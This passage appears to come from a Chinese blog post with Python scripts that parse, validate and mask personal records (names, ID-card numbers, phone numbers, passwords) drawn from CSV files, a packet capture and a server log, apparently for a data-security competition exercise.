32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import csv

def read_csv_file(file_path):
    data = []
    with open(file_path, 'r', encoding='utf-8') as file:
        reader = csv.reader(file)
        for row in reader:
            data.append(row)
    return data

def is_chinese_char(s):
    for c in s:
        if u'\u4e00' <= c <= u'\u9fa5':
            return True
    return False

def is_all_number(s):
    try:
        float(s)
        return True
    except ValueError:
        return False
def is_date(s):
    if is_all_number(s) and len(s) == 8:
        yyyy,mm,dd=(int(s[:4]), int(s[4:6]), int(s[6:]))
        if yyyy>=1900 and yyyy <=2100 and mm>0 and mm<13 and dd>0 and dd<32:
            return True
    return False

def is_lower_or_num(s):
    return s.islower() or s.isdigit()

def is_idcard(s):
    if is_all_number(s) and len(s) == 18:
        return True
    elif len(s)==18 and is_all_number(s[:17]) and s[17:18] == "X":
        return True
    return False
# 读取csv文件返回一个列表
file_path = 'person_data.csv'
data_list = read_csv_file(file_path)
ans=[]
num=0
for i in data_list:
    if i[0] == "编号":
        ans.append(i)
        continue
    num+=1
    temp=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码']
    for j in i:
        if is_all_number(j) and int(j) == num:
            temp[0]=j
        elif j == "男" or j == "女":
            temp[4] = j
        elif is_chinese_char(j):
            temp[3]=j
        elif is_all_number(j) and len(j) == 11:
            temp[7]=j
        elif is_idcard(j):
            temp[6]=j
        elif is_date(j):
            temp[5]=j
        elif is_lower_or_num(j) and len(j) == 32:
            temp[2]=j
        else:
            temp[1]=j

            # print(num ,": error!!! | ",j)
    ans.append(temp)

with open("结果.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans)

2

使用wireshark导出所有json的http数据包,发现最多导出1000条。

经过尝试,没有解决这个问题,改为把所有json数据,保存为pcapng文件。

手动编辑文件,只保留可见字符,编写脚本提取数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import re
import json
import csv
import os

with open('1.pcapng', 'r',encoding="utf-8") as f_in:
    for line in f_in:
        match = re.search(r'{"username": .*?}', line)
        if match:
            match.group()
            data = json.loads(match.group())
            keys = list(data.keys())
            values = list(data.values())
            with open("user.csv", 'a', newline='', encoding="utf-8") as f:
                csv_writer = csv.writer(f)
                if os.path.getsize("user.csv") == 0:  # 如果csv文件为空写入标题行
                    csv_writer.writerow(keys)             
                csv_writer.writerow(values)

对提取后的数据根据规范清洗数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import csv
import math
import re
def read_csv_file(file_path):
    data = []
    with open(file_path, 'r', encoding='utf-8') as file:
        reader = csv.reader(file)
        for row in reader:
            data.append(row)
    return data

def is_chinese_char(s):
    for c in s:
        if not(u'\u4e00' <= c <= u'\u9fa5'):
            return False
    return True

def is_all_number(s):
    try:
        float(s)
        return True
    except ValueError:
        return False

def check_username(s):
    return bool(re.match('^[a-zA-Z0-9]+$', s))
def check_id_card(id_card,sex,birth):
    # 长度和格式校验
    if len(id_card) != 18:
        return False
    W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    sum = 0  # 前17位累加和
    for i in range(0, 17):
        sum += int(id_card[i]) * W[i]
    if id_card[17] != check[sum % 11]:
        return False
    else:
        id_bitrh = id_card[6:14]
        id_sex=""
        if int(id_card[16]) % 2 == 1:
            id_sex="男"
        else:
            id_sex="女"
    if sex!=id_sex or birth!=id_bitrh:
        return False
    return True
def check_phone(s):
    m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
    if len(s) != 11 or not is_all_number(s):
        return False
    if int(s[:3]) not in m:
        return False
    return True
# 读取csv文件返回一个列表
file_path = r'./user.csv'
data_list = read_csv_file(file_path)
# print(data_list)

ans=[]
ans1=[['username', 'name', 'sex', 'birth', 'idcard', 'phone']]
for i in data_list:
    if i[0] == "username":
        ans.append(i)
        continue
    # temp=['username', 'name', 'sex', 'birth', 'idcard', 'phone']
    errnum=0
    if not check_username(i[0]):
        print("username error!!! : ",i)
        errnum+=1
    if not is_chinese_char(i[1]):
        print("name error!!! : ",i)
        errnum+=1
    if not check_id_card(i[4],i[2],i[3]):
        print("idcard error!!! : ",i)
        errnum+=1
    if not check_phone(i[5]):
        print("phone error!!! : ",i)
        errnum+=1
    if errnum!=0:
        ans.append(i)
    else:
        ans1.append(i)
with open("结果.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans)
with open("ans.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans1)

3

观察log日志,编写脚本提取数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import re
import json
import csv
import os
import urllib.parse

def url_decode(url):
    return urllib.parse.unquote_plus(url)

# 测试用例
with open('error.log', 'r',encoding="utf-8") as f_in:
    values=[]
    for line in f_in:
        match = re.search(r'username=.*', line)
        if match:
            temp=match.group()
            username = re.search(r'username=.*?&', temp).group()[9:-1]
            name = re.search(r'&name=.*?&', temp).group()[6:-1]
            idcard = re.search(r'&idcard=.*?&', temp).group()[8:-1]
            phone = re.search(r'&phone=.*?$', temp).group()[7:]
            values=[url_decode(username),"password",url_decode(name),idcard,phone]

        pwdmatch = re.search(r'\\xe6\\x82\\xa8\\xe7\\x9a\\x84\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba: .*?\\', line)
        if pwdmatch:
            values[1] = pwdmatch.group()[62:-1]
            with open("user.csv", 'a', newline='', encoding="utf-8") as f:
                csv_writer = csv.writer(f)
                if os.path.getsize("user.csv") == 0:  # 如果csv文件为空写入标题行
                    csv_writer.writerow(["username","password","name","idcard","phone"])             
                csv_writer.writerow(values)
        

对提取出的数据验证格式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import csv
import math
import re
def read_csv_file(file_path):
    data = []
    with open(file_path, 'r', encoding='utf-8') as file:
        reader = csv.reader(file)
        for row in reader:
            data.append(row)
    return data

def is_chinese_char(s):
    for c in s:
        if not(u'\u4e00' <= c <= u'\u9fa5'):
            return False
    return True

def is_all_number(s):
    try:
        float(s)
        return True
    except ValueError:
        return False

def check_username(s):
    return bool(re.match('^[a-zA-Z0-9]+$', s))
def check_id_card(id_card):
    # 长度和格式校验
    if len(id_card) != 18:
        return False
    W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    sum = 0  # 前17位累加和
    for i in range(0, 17):
        sum += int(id_card[i]) * W[i]
    if id_card[17] != check[sum % 11]:
        return False
    return True
def check_phone(s):
    m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
    if len(s) != 11 or not is_all_number(s):
        return False
    if int(s[:3]) not in m:
        return False
    return True
# 读取csv文件返回一个列表
file_path = r'./user.csv'
data_list = read_csv_file(file_path)
# print(data_list)

ans=[]
ans1=[['username', 'password','name', 'idcard', 'phone']]
for i in data_list:
    if i[0] == "username":
        ans.append(i)
        continue
    errnum=0
    if not check_username(i[0]):
        print("username error!!! : ",i)
        errnum+=1
    if not is_chinese_char(i[2]):
        print("name error!!! : ",i)
        errnum+=1
    if not check_id_card(i[3]):
        print("idcard error!!! : ",i)
        errnum+=1
    if not check_phone(i[4]):
        print("phone error!!! : ",i)
        errnum+=1
    if errnum!=0:
        ans.append(i)
    else:
        ans1.append(i)
with open("结果.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans)
with open("ans.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans1)

数据脱敏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import csv
import math
import re
import hashlib
def read_csv_file(file_path):
    data = []
    with open(file_path, 'r', encoding='utf-8') as file:
        reader = csv.reader(file)
        for row in reader:
            data.append(row)
    return data

def md5(data):
    return hashlib.md5(str.encode(data)).hexdigest()

# 读取csv文件返回一个列表
file_path = r'./ans.csv'
data_list = read_csv_file(file_path)
# print(data_list)

ans=[]
# temp=['username', 'password','name', 'idcard', 'phone']
for i in data_list:
    temp=['username', 'password','name', 'idcard', 'phone']
    if i[0] == "username":
        ans.append(i)
        continue
    if len(i[0]) == 2:
        temp[0]=i[0][0]+"*"
    else:
        temp[0]=i[0][0]+(len(i[0])-2)*'*'+i[0][-1]
    temp[1] = md5(i[1])

    if len(i[2]) == 2:
        temp[2]=i[2][0]+"*"
    else:
        temp[2]=i[2][0]+(len(i[2])-2)*'*'+i[2][-1]

    temp[3] = '*'*6+i[3][6:10]+'*'*8
    temp[4] = i[4][:3]+"****"+i[4][-4:]
    ans.append(temp)
with open("final.csv", "w", newline="",encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerows(ans)
使用 Hugo 构建
主题 StackJimmy 设计